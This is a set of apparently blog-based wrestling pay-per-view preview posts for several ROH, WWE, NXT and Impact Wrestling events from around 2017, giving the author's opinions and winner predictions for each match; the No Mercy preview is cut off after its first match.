Ring of Honor is kind of an oddball promotion. Unlike most wrestling companies, they wait until the end of the year for their biggest show, which actually makes sense. WWE holds their big show in March/April and Impact Wrestling’s is in October/November. Those are kind of strange choices, which is why “Final Battle” being held in December makes some sense. Their biggest show of the year is being held tonight so let’s get to it.

Six Man Tag Team Titles: Young Bucks/Adam Page(c) vs. Titan/Dragon Lee/Flip Gordon

We’ll get this one out of the way early as I’m certainly not a fan of the Bucks. It doesn’t help that I can never even remember these titles exist. They’re hardly ever defended and the teams seem to be thrown together more often than not. That’s what’s happened here as Titan and Lee are CMLL wrestlers who are being brought in for another special appearance, this time getting a title shot.

Therefore, I’ll take the Bucks and Page to retain, as it’s not like they have anything else to do at the moment. It’s rather annoying to have these belts thrown around for no apparent reason other than for the sake of having more titles but having to deal with the Bucks makes it even worse. I’m sure the match will be entertaining and could make for a fun opener but it’s not much more than that.

Matt Taven vs. Will Ospreay

Another special attraction match with Ospreay coming in from New Japan for a guest appearance. Taven is another name that doesn’t do anything for me, along with the rest of the Kingdom. They’re just kind of there more often than not and this feels like a way to make sure Taven is on the card and fill in some time.

As awesome as Ospreay can be at times, I’ll go with Taven winning here. There’s no reason to have the outsider win here, though Ring of Honor has some weird opinions on how to treat the New Japan wrestlers. Taven seems better suited as a tag team wrestler but maybe having do a singles match will be a better fit for him. I mean, it’s not like it can get much less interesting.

Jay Lethal vs. Marty Scurll

Now this is more like it. Lethal has completely won me over and I see him as one of the true stars of Ring of Honor. He has consistently good matches, including pulling off a minor miracle against Beer City Bruiser a few weeks back. Scurll is a heck of a performer too and I’m actually starting to come around on this idea of cheering for someone whose gimmick is being a villain. They’ve even had a good story here with Scurll pointing out that Lethal was more successful on the dark side and trying to tempt him back.

I’ll take Lethal here, but Scurll winning would be a huge moment for him. It’s a case where you can’t go wrong with either pick and that’s a very nice situation to be in. Scurll isn’t quite a full time Ring of Honor guy and Lethal can absorb the loss just fine, though I think he needs the win at this point. I’m looking forward to this match and if it goes as I’m expecting, it could very easily steal the show.

Bully Ray/Tommy Dreamer vs. Briscoe Brothers

The build for this one has been downright impressive. In modern wrestling and especially in a promotion like Ring of Honor, it’s next to impossible to sell an angle. However, Ray sold the heck out of the thing and made it seem like he really was done. You could always feel that he was going to be in the ring at this show, but my goodness they made it work while they were building it up.

This is going to be the emotional rollercoaster of the show and it’s going to end with the Briscoes destroying the ECW legends. I’m not sure why this isn’t Ray vs. Jay Briscoe but the tag match works well enough. The Briscoes have their work cut out for them to get booed in New York but if there’s one team that can help them pull it off, it’s a pair of ECW alumni.

Tag Team Titles: Motor City Machine Guns(c) vs. Best Friends

We’re back to the matches that don’t feel like they have much going for them. The Best Friends showed up a few months back and haven’t exactly done much. That being said, they also haven’t done too little. The same is kind of true for the Guns, who are a semi-legendary team who deserve at least one run with the titles. That’s fine, though not exactly inspiring stuff.

I’ll take the champs to retain here as the Best Friends don’t quite seem ready for the belts. The Guns could lose them at any time (please, not back to the Bucks) but I really don’t think that’s the case here. The match should be well laid out, albeit in that Ring of Honor style that I’m just not a fan of most of the time. It won’t be bad, but I can’t see myself getting too far into this one.

Addiction vs. War Machine

This is more my style. These teams have built up a very nice rivalry over the last few weeks with War Machine wanting the titles back and Addiction using every heelish trick they can come up with to cut them off at every turn. Getting Ray Rowe suspended (likely for a tour or an injury) was a nice move and it gives you a reason to want to see War Machine crush them.

As much as I want to think it’s going to be the Addiction, I can’t get past the idea of seeing War Machine beat those two into the ground. Addiction doesn’t need a win like this and while they’re still good, are probably better suited more as gatekeepers for younger teams with more long term potential. War Machine is one such team, assuming they’re not eventually WWE bound.

TV Title: Kenny King(c) vs. Punishment Martinez vs. Silas Young vs. Shane Taylor

I’m not sure what to think of this but King has really grown on me in recent weeks. Who would have thought that someone who can talk and is a borderline athletic freak was better suited as a face? Again, they’ve built the heck out of this match and I really want to see who comes out as champion.

I’ll go with Young winning, as they’ve teased giving him something for so long now that they have to actually do it at one point or another. Having the match under elimination rules might make that a little more complicated, but he’s probably the best choice of the four. King would be the second best option and Martinez can be a solid monster, though I don’t see Taylor being much of an option no matter what he does. The match should be good, especially if they tell a story with some drama included.

ROH World Title: Cody(c) vs. Dalton Castle

As well as ROH has built Castle up, I just can’t bring myself to take him as a serious contender to the World Title. Having the Boys gone helps (though you can pencil them in for a return here, even if it’s just a run-in) and the wardrobe change is a good move, but Castle just doesn’t seem serious enough to take the title. Of course that being said, Cody hasn’t felt like a real World Champion since he won the thing and I don’t see that changing either.

In a prediction I’m almost sure to get wrong, I’ll go with Cody to retain. The problem is I’m not sure who takes it off of him if he gets by Castle. Lethal maybe? A Japanese import? Their options near the top of the card are a little limited as Castle could face the Bullet Club for months. I just can’t see them going with Castle though and that’s why the main event scene is one of the company’s biggest issues at the moment.

Overall Thoughts

This is one of Ring of Honor’s best built cards in a long time and that’s a nice thing to see. Far too often these shows feel like they’ve been slapped together and it’s cool to see them actually make the top show feel like the top show. There are multiple matches I want to see and I don’t get to that point very often around here. Well done on setting something up but now follow through on it.

Remember to follow me on Twitter @kbreviews and pick up the Monday Nitro and Thunder Reviews Volume VI: July – December 1999 in e-book or paperback. Check out the information here:

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This is always one of my favorite shows of the year but my goodness they’ve stacked the heck out of this one. Over the last two weeks, this show has gone from looking pretty mediocre to one of the biggest cards they’ve put together in a long time. With the champion vs. champion matches and the normal elimination matches, there’s a lot of potential here. Let’s get to it.

Kickoff Show: Cruiserweight Title: Enzo Amore(c) vs. Kalisto

We’ve seen this one a few times now and this seems like the final showdown between the two of them. Amore and Kalisto traded the title back and forth and now it’s time for a new challenger to come along. On paper this should be a one sided match as Kalisto is far more talented and athletic than Amore, though that’s not always as simple as it sounds.

Since he’s the only thing of value on “205 Live” at the moment, of course I’m taking Amore to win here. He’s just a bigger deal than Kalisto, who came off like a challenger of the month rather than someone who could take the title long term. Odds are someone interferes to help Amore retain and we move on to a new challenger on Tuesday. Perhaps Cedric Alexander or the debuting Hideo Itami perhaps? But yeah Amore retains.

Shield vs. New Day

I’ve said it before and I’ll say it again here: this is a dream match. People don’t give it the credit that it deserves as it’s a thrown together match, but this really is one of the biggest matches WWE could put on. Both teams are among the biggest trios in WWE history (with Shield pretty firmly on top) and they’re both probably guaranteed to go to the Hall of Fame one day.

Now of course I’m taking Shield, as they’re freshly back together and need a signature win as they’re being reestablished. New Day has shown that they can take a loss here and there without really falling down the card. At the same time, Shield losing a big match is a legitimately big deal, which is why there’s no need to have New Day go over here. Shield wins, likely via a spear to Kofi Kingston.

Baron Corbin vs. The Miz

This is the first of three champion vs. champion matches with the battle of the midcard titles. These two have actually bickered a bit on Twitter, which is about all the build this match has been able to warrant. I’m not a fan of having champions facing off but it’s not like WWE can come up with anything else but this simple idea.

I’ll take Miz to win, likely due to some interference to distract Corbin. Of course that makes the Intercontinental Title seem more important than the US Title, but that’s hardly a shocking revelation. Miz is getting close and closer to the most combined days as Intercontinental Champion of all time, which would be quite the accomplishment for someone who was never supposed to amount to anything. Miz wins, even though no one should.

Charlotte vs. Alexa Bliss

We’ll continue with the champion vs. champion theme here as we look at the Women’s Champions battle. Charlotte picked up the Smackdown Women’s Title earlier this week in a big emotional moment, thanks to the return of her father Ric Flair. Bliss is no slouch though and has surprised a lot of people with several of her wins.

However, Bliss is just holding the title until Asuka can kick her head in, meaning Charlotte wins here. I can’t imagine Charlotte losing so soon after winning the title, even in a match that doesn’t mean all that much. Bliss needs the win more to help build her up for Asuka but there’s too much going against her in this case.

Raw Women’s Team vs. Smackdown Women’s Team

This comes down to the difference in talent. At the end of the day, “Monday Night Raw” is completely stacked here with captain Alicia Fox as the only weak link. Over on “Smackdown Live”, as was the case last year, it’s Becky Lynch and four warm bodies (though Naomi has improved dramatically) and that’s probably not enough to carry things.

Barring a big surprise, I can’t imagine the “Smackdown Live” women have enough to pull this off. How are you supposed to combat two of the Four Horsewomen, Asuka and Nia Jax? With Carmella? Or maybe Tamina? There’s just not enough firepower on the “Smackdown Live” side to pull this off, especially with Charlotte out of the picture.

The Bar vs. Usos

Another champion vs. champion match here and another case where the champions haven’t even held their belts for two weeks yet. This has the potential to be a heck of a fight, though I have doubts about how well WWE is going to pull it off. Somehow on a four hour show they might manage to not give it enough time, which is where a match like this should shine.

I’ll go with the Usos here, for the sole reason of “Smackdown Live” needing to pick up some wins. The Usos have the longer and better resume, though the Bar has gotten a lot more tolerable in the last year. Let them have some time and a hot finish and this will work as well as it needs to, even if there’s no reason to have two tag divisions at the moment (or ever for the most part).

Raw Men’s Team vs. Smackdown Men’s Team

Two weeks ago, this match was looking pretty boring. Now, Samoa Joe and Braun Strowman, who were fighting each other in the main event of “Summerslam 2017” a few weeks ago are (very arguably) fighting for the right to be the SEVENTH most successful wrestler in a match. This match is absolutely stacked and has one of the highest levels of talent you’ll ever see.

I’ll take “Smackdown Live” to win here though as you can have Strowman get counted out and Randy Orton score some quick falls off RKO’s to get rid of some names. Then if “Monday Night Raw” wins the overall series, Kurt Angle can crawl back to Stephanie McMahon (the real boss of the company) and keep his job. In other words, McMahon looks powerful and everyone else looks like a goon. As usual.

Brock Lesnar vs. AJ Styles

And hey, another dream match! Again, two weeks ago we were looking at Lesnar vs. Jinder Mahal and now we’re getting this beauty instead. Styles is someone who seems capable of pulling a classic out of Lesnar and, assuming it’s not Suplex City all over again, this should be a heck of a fight. Hopefully Lesnar doesn’t get lazy again, though I think Styles will be enough to avoid that problem.

I’ll still take Lesnar to win here, as he’s just a bigger deal than Styles. If nothing else we don’t want Lesnar looking weak for his match five months from now against Reigns, because that’s really what so much of this is all about. At least we can get a great match on the way there though, which is a lot more than I would have guessed coming into the previous match.

Overall Thoughts

I don’t remember the last time a Survivor Series was this stacked. Actually I don’t remember the last time almost any show was this stacked. There are a ton of huge matches on here and that could make for a heck of a night. Even if WWE screws up some of them, there’s more than enough good stuff around to make up for it. I’m coming into this with high hopes and hopefully they nail it.

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

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We’re off to war! The latest NXT Takeover special is focused on one match, which is kind of a shame as the rest of the card looks great. If there’s one thing NXT can do better than anything else, it’s rise above the expectations coming in and knock the show out of the park. If they can come close to that, we’re in for a treat. Let’s get to it.

Lars Sullivan vs. Kassius Ohno

This is the a pretty logical step for the unstoppable monster known as Sullivan. He’s dominated jobbers for months now and it’s not like Ohno is there for anything other than to to people over. I don’t think anyone is expecting them to shatter through the glass ceiling here but that’s been said about many an NXT match and wound up being completely wrong before.

I’ll of course take Sullivan to win in the only thing we have on the show that could be considered a guarantee. There’s no reason for Ohno to win and Sullivan shrugging off his best shots would be a good way to keep getting him over as a monster. That’s the key to him at the moment as he could be quite the threat down the line. Once he loses for the first time a lot of that goes away, but at least we can get something like this out of him at the moment. Sullivan wins, as he certainly should.

Velveteen Dream vs. Aleister Black

Here’s where my love of NXT comes from. I was looking through the card and thought Black winning was an easy win. Like seriously, Black is going to beat Dream into the ground right? The more I got to thinking about it though, the less sure I was. Dream has been pushed very strong as well and the whole “say my name” stuff has me wondering how it’s going to go.

I’m going with Black, though this is where NXT shines: it really could go either way. Both guys are undefeated and a win would make one of them look like a much bigger deal. Black can take a loss more than the Dream with that awesome kick, but Dream losing makes the most sense. If nothing else I’m looking forward to how Black will say Dream’s name without giving Dream what he wants. I’d have Black kick his head off and then say Dream’s name so he can’t hear it live. If that doesn’t mess with Dream’s mind more than anything else, I don’t know what would.

Women’s Title: Kairi Sane vs. Peyton Royce vs. Ember Moon vs. Nikki Cross

The title is vacant coming in after Asuka moved up to the main roster. Remember how I said the previous match could go either way? That’s the case here but double the options. You really could go with any of the four and my goodness that’s a fun feeling to have. I’d assume that there’s a name you can write off but it might not be the one you’re thinking.

I’m going to go with Moon to win the title but I’m really not sure about it. I can’t imagine they want to go with Sane as she might come off like a simple replacement from Asuka. She’ll get there someday but it’s not quite yet. Royce seems to be the least likely but if there’s ever a match for her to steal the title (perhaps to be destroyed by Sane later), this is it. Cross could win also, partially due to just being crazy enough to pull it off. Therefore I’ll go with Moon, who seems to be the heir apparent to the division, likely with the Eclipse to Royce. This should be a blast though.

NXT Title: Drew McIntyre(c) vs. Andrade Cien Almas

This is another one where I’m a bit more sure, though still not entirely. The story here is rather simple as the big main event is spent on something else so let’s have the champ go through a simple title defense. Almas has gotten WAY better after acquiring Zelina Vega as his manager, mainly due to how great of a talker she’s become (and she can get physical when necessary).

I’ll take McIntyre to retain, mainly because it seems that we’re heading for McIntyre vs. Adam Cole for the title down the line. Almas is a better opponent than I was thinking, but at the end of the day it’s a Claymore to retain the title. On a side note, McIntyre still needs some physical opponents to defend against though as someone like Almas, who again isn’t very large, looks tiny compared to the huge champion.

Sanity vs. Undisputed Era vs. Roderick Strong/Authors of Pain

HERE WE GO! This is the match that old school fans have been waiting the better part of twenty years to see in WWE and….I guess they’re doing it right. This is WarGames, which was such a big deal that they’ve changed the name of the show upon announcement. It’s a three team feud with Strong and the Authors of Pain being added for the sake of giving us another trio. The other two are pretty firmly established though and that makes the match all the more interesting.

That being said, I’m going with Undisputed Era, as they make the most sense. If nothing else it sets up Bobby Fish and Kyle O’Reilly getting the Tag Team Titles, likely in Philadelphia in January. Sanity has a chance as well, but they seem to be there for the sake of taking a fall to set up a future match. I’ve said it before and I’ll say it here again: the fact that Strong and the Authors are easily the weakest of the three teams but I wouldn’t be shocked to see them win. That’s a great feeling to have and you rarely get it outside of NXT.

Overall Thoughts

Just in case you didn’t catch on to the idea yet, I love the fact that so many matches on this card are unpredictable. You really could go multiple ways with most of the matches and that’s why I’m so interested in this show. NXT has a great track record with this series and this one has the potential to do something special all over again.

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

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I don’t even know where we are at this point. This promotion has turned completely upside down with large chunks of the show being built around action from other promotions, often which had nothing to do with Impact Wrestling. Other than that, it’s been a lot of talk about mixed martial arts, because it’s really the same thing right? I’m not sure what we’ll be getting at “Bound For Glory 2017”, but it turns out there will be one less match than we were expecting. Let’s get to it.

X-Division Title: Trevor Lee(c) vs. Dezmond Xavier vs. Garza Jr. vs. Matt Sydal vs. Petey Williams vs. Sonjay Dutt

If this sounds familiar to you, it’s certainly not because they ran the same thing on this week’s episode of “Impact Wrestling”. No see while that was a one fall six way match, this is a one fall six way match for the title. It’s totally different that way. That was won by Xavier, which in theory should eliminate him from contending for the title. However, that’s not the way things work around here.

I’ll go with Sydal winning the title here, as the company certainly seemed ready to do something with him but pulled the plug in a hurry. Xavier would make the most sends (and would actually make the Super X Cup mean anything whatsoever) while the rest are really just warm bodies. Well somewhat colder in Garza’s case because HE TAKES OFF HIS PANTS! Then again it’s not like the X-Division Title means anything but hopefully they can put on an entertaining match in the time they’re given.

Abyss vs. Grado

This story….I’m not sure what to think about it actually. It’s a pretty simple concept (I help you, you take advantage of me, I want revenge) and the immigration stuff is all just window dressing. The problem is I have no reason to care about Grado. I’ve never really found him funny and the reason he was wanted to stay in the country was to eat various American foods. That’s the best hero we can have?

I’ll take Grado to win here as getting rid of him wouldn’t make sense, though that’s never stopped this company before. Above all else, he needs to be around for the sake of filling in a spot on the roster. Abyss has lost a ton of these things before and it wouldn’t surprise me if he slipped on a banana peel and lost again here. Grado isn’t exactly entertaining but he has more potential than Abyss at the moment.

Team Impact vs. Team AAA

So here’s the invasion match, which feels like they just wrote “insert invasion angle here with whomever you have left” in the script and hoped for the best. There’s no reason to care about either team and none of them interest me whatsoever. This story has been lame from the start and there’s no real reason to assume that it’s going to get any better as we do the six man.

Team Impact should win here as it’s really the only logical way to go and I’ll take them to do so, though I wouldn’t be shocked at all to see Team AAA win so this partnership can keep going. I still have no idea why I’m supposed to care about a bunch of wrestlers that I know almost nothing about coming in to this company but the announcers have spent so much time telling me how awesome these three are that I would feel bad if I didn’t watch.

Knockouts Title: Sienna(c) vs. Gail Kim vs. Allie

I’m going to do this assuming that Rosemary, who is now out of a match, isn’t added to the match, though it would make perfect sense to put her in (four Canadians instead of three) with the Taya Valkyrie fight falling through. I’m not even going to waste much time here: this is going to be all about Gail Kim whether you like it or not, which is almost always the case around here.

Of course I’m going with Kim. This company has basically worshiped her (not saying it’s completely undeserved) and it wouldn’t shock me to see her give her a big, grand farewell, basically leaving the division looking like a bunch of losers in the process. Allie and Sienna are just details here and that’s all they’ve been the whole time. I wish there was another way of looking at this but it’s been the Kim show the entire time, as you knew it would be.

Tag Team Titles: OVE(c) vs. LAX

This is a 5150 street fight, which basically means a street fight with numbers in the title. In theory this means the entirety of LAX is allowed to fight, which is why OVE has brought in Sami Callihan to help them out. That should be enough to help the champs even the odds, as Konnan can’t do anything physical and Homicide is really just there for cheap shots.

OVE retains here of course, as we’re already past the point of LAX meaning much. Of course there’s also the issue of who in the world challenges the champs next. It’s not like there’s much of a division at the moment so it’s either build a new team from the roster or keep going with LAX. Either way, OVE retains here.

Impact Wrestling World Title: Eli Drake(c) vs Johnny Impact

Sure the World Title is on the line here but let’s not pretend for a minute that this is the real main event. Drake has been champion for a few months now and Impact is one of the biggest stars the company has at the moment. He’s also the AAA World Champion and you know how this promotion likes to cross-promote with the international promotions. That’s not a good sign for Drake, but stranger things have happened.

I’ll take Drake to retain the title here, possibly due to interference from the returning Alberto El Patron. I think the company would like the idea of having El Patron vs. Impact for some kind of real champion of Mexico match and we’d just be lucky enough to have it be treated as a bigger deal than the World Title feud. Of course don’t count out the idea of El Patron somehow walking out as champion either. Drake wins, but there’s a good chance that things aren’t over for him yet.

Bobby Lashley/King Mo vs. Moose/Stephan Bonnar

Let’s not pretend that this isn’t the main event. This match has gotten more development, airtime, promos and attention than anything else on the card by a mile. Impact Wrestling has had a very longstanding obsession with mixed martial arts and it’s no surprise that they’re putting it on the big stage like this. Really, you knew they wanted to do this as soon as they had a fighter like Lashley on the roster.

I’m going with Moose and Bonnar to win, even though this really should just be Lashley vs. Moose. It’s the same match and we wouldn’t have to wait around for King Mo and Bonnar, who have no business wrestling at this high of a level. You have to assume that Lashley is going to head to MMA sooner or later, so taking him off TV would make sense. This probably should close the show, though I’m fine with the World Title getting that spot, disparity in importance on TV aside.

Overall Thoughts

The crazy long taping cycle killed the build towards this show and there’s barely any way to recover from that. So much of the shows has been spent on matches from Canada, Mexico and Japan, almost none of which had anything to do with setting up the pay per view. That being said, this promotion has a history of being FAR better on pay per view than they are on TV, as it’s just the wrestlers wrestling instead of the nonsense with the creative department. The show could be good, but they desperately need (another) change of pace to fire up their TV, which has been dreadful lately.

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

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And check out my Amazon author page with cheap wrestling books at:

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Let’s get this in as fast as I can before another performer is taken off the card due to illness. In a rare case, two top level wrestlers scheduled to appear on this show have been taken off the card due to medical issues. That changes the whole dynamic of the show, but that doesn’t mean the show is worse as a result. It should be interesting to see where the card goes from here so let’s get to it.

Kickoff Show: Sasha Banks vs. Alicia Fox

So this might have been scheduled to be Nia Jax in Fox’s spot but Jax not getting to face Asuka was enough to make her leave the promotion for the time being. Banks already made Fox tap out earlier in the week on “Monday Night Raw”, which makes me wonder what the point is in having the match all over again. Maybe they’re trying to convince us that there will be a surprise ending?

If that’s what they’re going for, I’m certainly not buying it. I have no reason to believe that this won’t end with another Bank Statement and there’s really no reason for Fox to win the thing. Fox is nothing more than a warm body for Banks to defeat and there’s nothing wrong with that. Banks is someone who is going to fire the crowd up as soon as she comes into the arena and that’s exactly what you want a dark match to do. Good choice for a match, but not exactly a questionable ending.

Cruiserweight Title: Kalisto(c) vs. Enzo Amore

Over the last few weeks of “205 Live”, I’ve been finding Amore more tolerable than I have in recent months. However, that doesn’t mean he’s any less annoying that he’s been for the last…well ever actually. Kalisto won the title a few weeks back and it seems that we’ve just been counting down the time until Amore gets the title back for the sake of making “205 Live” interesting again.

In other words, of course Amore gets the title back here as Kalisto is little more than a quick way to make Amore a two time champion. It helps that they let him keep the belt for more than a few days, though it doesn’t make things any better. Amore dominates any show he’s on and that can get old in a hurry. I get why he’s around and he’s a necessary evil, though that doesn’t make him getting the title back any easier. So yeah, Amore wins, much to the rise of my blood pressure.

Finn Balor vs. AJ Styles

This is the first of the two lineup changes we’ve had to undergo as Styles is replacing Bray Wyatt, who has been taken off the show due to medical reasons. That’s a major problem as Wyatt was supposed to debut Sister Abigail and Balor was supposed to bring back the Demon character. It seems that Balor will still be the Demon in what is now a glorified dream match.

I’ll take Balor to win as “Monday Night Raw” shouldn’t have one of its top stars lose, especially with a potential World Title challenge in the next few months. That’s a problem when Styles seems to be up next for Smackdown World Champion Jinder Mahal. However, the tie goes to the wrestler with home roster advantage so I’ll take Balor winning in a heck of a classic.

Women’s Title: Alexa Bliss(c) vs. Mickie James

This is the classic “I’m young and awesome and you’re old and lame” story which could very easily be set up for the sake of giving James the big feel good win, only to have Bliss get the title back in very short order. On the other hand, it could be little more than a way to give Bliss a quick win and there’s nothing wrong with that.

I’ll take Bliss to retain here, though the idea of giving James a win is tempting. James has been teasing tying Trish Stratus’ record for the most Women’s Title reigns in company history though I don’t think they’ll actually pull the trigger. Bliss can move on to facing someone else (hint: her name rhymes with Shaska) later on and James isn’t going to lose anything if she doesn’t pick up the title. So yeah, Bliss retains, even though I’m not feeling as sure as I was just a few days ago.

Asuka vs Emma

Did you now that Jesse Ventura and Roddy Piper filmed a pilot for a cop show back in the 1980s? The show was called “Tag Team” and it was looking strong to be picked up but that never quite came together. Now what does this have to do with the match? Well nothing, but what else am I supposed to talk about for the build towards this one?

Of course Asuka is going to destroy Emma and of course that’s what should happen. Asuka hasn’t lost since she came to WWE and Emma is little more than an appetizer before she gets on to someone more important and/or a bigger challenge. Emma was the obvious option for this as she can get destroyed and lose nothing, mainly because she has no value in the first place. Asuka wins here and it’s a glorified squash at worst.

Cedric Alexander/Rich Swann vs. Jack Gallagher/Brian Kendrick

To paraphrase a certain song: “This is filler. Filler night. And no one’s gonna save you from this match actually being on pay per view.” Yeah there’s no hiding the fact that this is taking place because the main event if featuring eight people and they need something else to fill in part of the card. It’s nice that the cruiserweights are getting another spot on the card but it’s the popcorn match of the night.

I’ll take Alexander and Swann to win here and I’m not particularly sure why. Neither of them is interesting and while the story worked well enough, they’re just showing how unimportant the rest of the division really is. There’s a story to the match (revenge, basically) and that’s all well and good, but if the participants feel so unimportant, the match isn’t likely to be worth watching.

Seth Rollins/Dean Ambrose/Kurt Angle vs. Miz/Kane/Braun Strowman/The Bar

Hokey smoke what a match this has turned into. The original idea, and the match the entire show was built around, was the Shield vs. these five, though Roman Reigns was taken out due to another medical issue. That leaves Angle to fill in and….I have almost no idea what to think of the change. Angle is a special attraction and I’d like to see him get built up for a lot longer, but desperate times call for bad builds.

I’ll definitely take Rollins/Ambrose/Angle as there’s just no reason to have any other option. Angle is probably a one off appearance and there’s nothing wrong with that. Hopefully he doesn’t die or something in the ring, though that’s almost par for the course whenever Angle gets in the ring. The match should be violent, but Kane, Cesaro and Sheamus are all there to take a fall for any of the winners and that’s the way to go.

Overall Thoughts

This is an interesting show as the whole thing has been turned upside down in the span of a few days. The top two matches have been thrown out (well only somewhat in the main event’s case) yet somehow the show is even better on paper than it was just a few days ago. I could go for a long Balor vs. Styles match and Angle…well let’s just hope he’s ok. The show’s gimmick has gone from interesting to something I only remember because of what the show is called, which isn’t the best sign. This show really is a once in a long time situation and it could be interesting to see how WWE handles things.

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

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It’s currently Saturday night and we’re about twenty four hours away from the start of “Hell in a Cell 2017”. I’ve known that I need to start getting this together but the more I think about doing it the less interested I am in the show. All week long and especially while I watched the last two episodes of “Smackdown Live”, my interest level in the show has gone downhill faster and faster. It’s entirely and completely a one match show and that one match hasn’t grabbed my attention. I’m not thrilled with this show but let’s get to it.

Kickoff Show: Shelton Benjamin/Chad Gable vs. Hype Bros

This is a match that was teased a few weeks ago on the YouTube channel and for once I’m fine with that being all the build the match receives. It’s not like this is a match that means anything but it’s a good choice for an opener. All four guys will get a solid reaction and it should be a perfectly acceptable ten minute match.

I’ll take Benjamin and Gable to win here as the Bros have been going through some issues as of late. You know, because the “Smackdown Live” tag team division is so deep that it can break up teams at the moment. Benjamin and Gable might not seem like an option with the longest lifespan but WWE might as well see what they have with them. Benjamin and Gable win without much trouble.

Women’s Title: Natalya(c) vs. Charlotte

How many times have we seen this match now? Be it down in NXT or up here on the main roster, it feels like a match that we’ve covered so many times now. At last they haven’t dragged Ric Flair and Bret Hart into it again, but that’s not exactly the highest level of praise. Natalya is doing fine but that doesn’t make her interesting as champion.

I’ll take Charlotte to win here as they need to get the title on either her or Becky Lynch as soon as possible. They’re the only two women on the show with the combination of charisma and in-ring abilities to make it work (though Naomi has come an incredibly long way towards that combination this year). It’s the right call and about as close to being overdue as you can get.

Randy Orton vs. Rusev

What does it mean when the big selling point of a match is they might go longer than five minutes this time around? These two have trades wins in a pair of matches that didn’t combine to go thirty seconds. Rusev needs the win a lot more than Orton but WWE has a really bad track record of just giving Orton wins that he doesn’t need, especially at the expense of someone who needs the support.

I’ll give WWE some hope and take Rusev for the win here, as he’s owed this one after being screwed over twice this year. Allegedly he was in line for the Jinder Mahal push (no word on if he would have won the title) and then he had to lose the match at “Summerslam 2017” for the sake of giving Orton another win to make up for the Mahal feud. Rusev needs this win and there’s no need for Orton to get another victory that won’t mean anything in the long run. Now if only WWE can realize how much sense that makes.

Bobby Roode vs. Dolph Ziggler

This is another one that should be a layup and this time around it feels like WWE knows what it’s doing. Ziggler has been mocking entrances for weeks now in a story that still isn’t clicking, though it’s been entertaining at times. Roode of course is known for his entrance and the match makes perfect sense as a result.

I’ll take Roode to win, though there’s something more important than the end result. Flash back with me to “Backlash 2017” where Ziggler faced Shinsuke Nakamura in Nakamura’s in-ring debut. Ziggler went even with him and Nakamura really didn’t blow anything away. While Roode is nowhere near as dominant as Nakamura, I’m worried about this being more of a showcase for Ziggler than Roode, who needs the push to get somewhere. Ziggler is little more than a gatekeeper to the big time and there’s no need to give him a majority of the offense. Both guys get stuff in but Roode wins in what should be dominant fashion.

Tag Team Titles: New Day(c) vs. Usos

Now this is the most interesting match on the card. These teams have been feuding for months now and barring a rather stupid move, this should be the final match of the whole thing. There’s no logical reason to have them go on no matter who wins, save for the eternally annoying contractually obligated rematch clause. Just let them end it in a huge match for a change and be done with it.

I’m going with New Day to retain here, though I don’t have a ton of confidence in the pick. WWE seems obsessed with trading the titles ass often as they can for the sake of building up the title reigns for the sake of building up the title reigns and giving the Usos their fifth reign is probably tempting. New Day doesn’t have a ton of options for opponents though, which gives me some caution. I’ll still say they keep the belts, though I’m probably going to be wrong.

Smackdown World Title: Jinder Mahal(c) vs. Shinsuke Nakamura

Here’s the thing: Mahal has shocked the heck out of me as champion. He’s looking more and more like a main eventer every single week and as average as he seems most of the time, he’s so much better now than he was when he won the title and that’s quite the accomplishment. The problem though is very simple: no one cares. Like at all. Mahal is one of the least interesting characters you’ll ever see and people aren’t buying him as a top star.

Nakamura wins the title here, partially due to pure necessity. Mahal’s title reign has crippled the live crowds at “Smackdown Live” and there’s just nothing interesting about what he’s doing. They need to find someone at least more interesting (Nakamura might not be more interesting but he’s far less dull) in a hurry as the show can’t take Mahal on top for much longer.

US Title: AJ Styles(c) vs. Baron Corbin

First off, I’m not entirely convinced that Tye Dillinger won’t be added to this at the last minute to make it a three way dance. Assuming that doesn’t happen though, I don’t see much doubt in this one. Styles has been trying to do the whole US Open Challenge deal but he’s had all of two matches in the thing, which kind of defeats the purpose. Hopefully he can get back on track with it later.

As you might be able to tell, I’m taking Styles to retain here, even though Corbin needs the win more. The only way I could see Styles losing is to set him up as the next challenger for Mahal, though I have a feeling they would rather let Styles get back to the main event scene later. Styles is the better option here and even though Corbin needs to win something, Styles is a great US Champion and should hold the title a bit longer.

Kevin Owens vs. Shane McMahon

And now, the reason I care so little about this show. Make no mistake about it (and I don’t know how you could): this is the ONLY match WWE cares about on this show. The whole thing is built around “what is Shane going to do to Owens”, meaning the match is building to one or two spots. If Owens has to slow WAY down to let McMahon hang with him, so be it because this is all about McMahon doing something stupid. I need more than that to interest me in a show, but WWE doesn’t quite seem to agree.

In the pick that really, really needs to be right, I’m going with Owens to win. There’s just no need to have McMahon ever win a match again, despite him being one of the top faces on the show. McMahon can lose here and then come back in another few weeks without continuing the feud. Owens on the other hand can move up, challenge Nakamura for the title, defeat Sami Zayn at “Royal Rumble 2017” (assuming Zayn doesn’t cost McMahon the match, which has been hinted at for a few weeks now) and then face HHH at “Wrestlemania XXXIV” when HHH has to kill his own creation to defend the company and his family.

Overall Thoughts

On paper, only the two Cell matches need to be on pay per view. Other than that, everything on here feels like it could be on almost any given episode of “Smackdown Live”. Actually a lot of them have been on free TV in recent months and would Roode vs. Ziggler airing on TV be that much of a stretch? This show just doesn’t feel special and I don’t think there’s any real way around that problem. The wrestling might be just fine, though I don’t think it’s going to be anything I need to see.

Oh and as for Breezango: I think they find out who is behind it all (my guess is still the Authors of Pain) and they wrap it up in a bonus match on the pay per view.

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

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There’s something fun about going into a show where you don’t know what’s going to close the show. That’s the case we’ve got in front of us this coming Sunday at “No Mercy 2017”. This time around it’s a double main event of John Cena vs. Roman Reigns and Universal Champion Brock Lesnar defending against one heck of a monster (among men to be exact) Braun Strowman. Hopefully the rest of the card backs it up. Let’s get to it.

Kickoff Show: Elias vs. Apollo Crews

This was announced on Friday and that’s about as much attention as it needs. It’s a thrown together match between two guys who have nothing better to do and there’s nothing wrong with that. Elias is a mile ahead of Crews at this point and actually has a character to him. Crews is far from a lost cause but he needs something to give him some momentum.

